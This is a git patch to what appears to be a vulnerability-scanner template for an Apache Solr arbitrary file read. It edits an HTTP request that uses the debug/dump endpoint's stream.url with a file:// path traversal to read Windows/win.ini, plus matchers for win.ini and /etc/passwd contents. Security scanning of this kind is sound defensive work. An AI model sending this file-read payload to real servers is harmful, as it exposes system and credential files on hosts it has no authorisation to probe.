From fd270d85f66c45af7cb8bc6168075ca2439ba50f Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 2 Dec 2022 09:31:15 +0530 Subject: [PATCH] Update apache-solr-file-read.yaml --- .../apache/apache-solr-file-read.yaml | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/vulnerabilities/apache/apache-solr-file-read.yaml b/vulnerabilities/apache/apache-solr-file-read.yaml index a6022ab36b..f24791365d 100644 --- a/vulnerabilities/apache/apache-solr-file-read.yaml +++ b/vulnerabilities/apache/apache-solr-file-read.yaml @@ -24,7 +24,7 @@ requests: Connection: close - | - GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../¶m=ContentStream HTTP/1.1 + GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../Windows/win.ini¶m=ContentStream HTTP/1.1 Host: {{Hostname}} Accept-Language: en Connection: close @@ -43,13 +43,15 @@ requests: regex: - '"name"\:"(.*?)"' + stop-at-first-match: true matchers: - type: word name: "windows" + part: body words: - - "Windows" - - "Users" - - "org.apache.solr.handler.DumpRequestHandler" + - "bit app support" + - "fonts" + - "extensions" condition: and - type: regex @@ -57,7 +59,6 @@ requests: regex: - "root:.*:0:0:" - - type: word - name: "other" - words: - - "java.io.FileNotFoundException" + - type: status + status: + - 200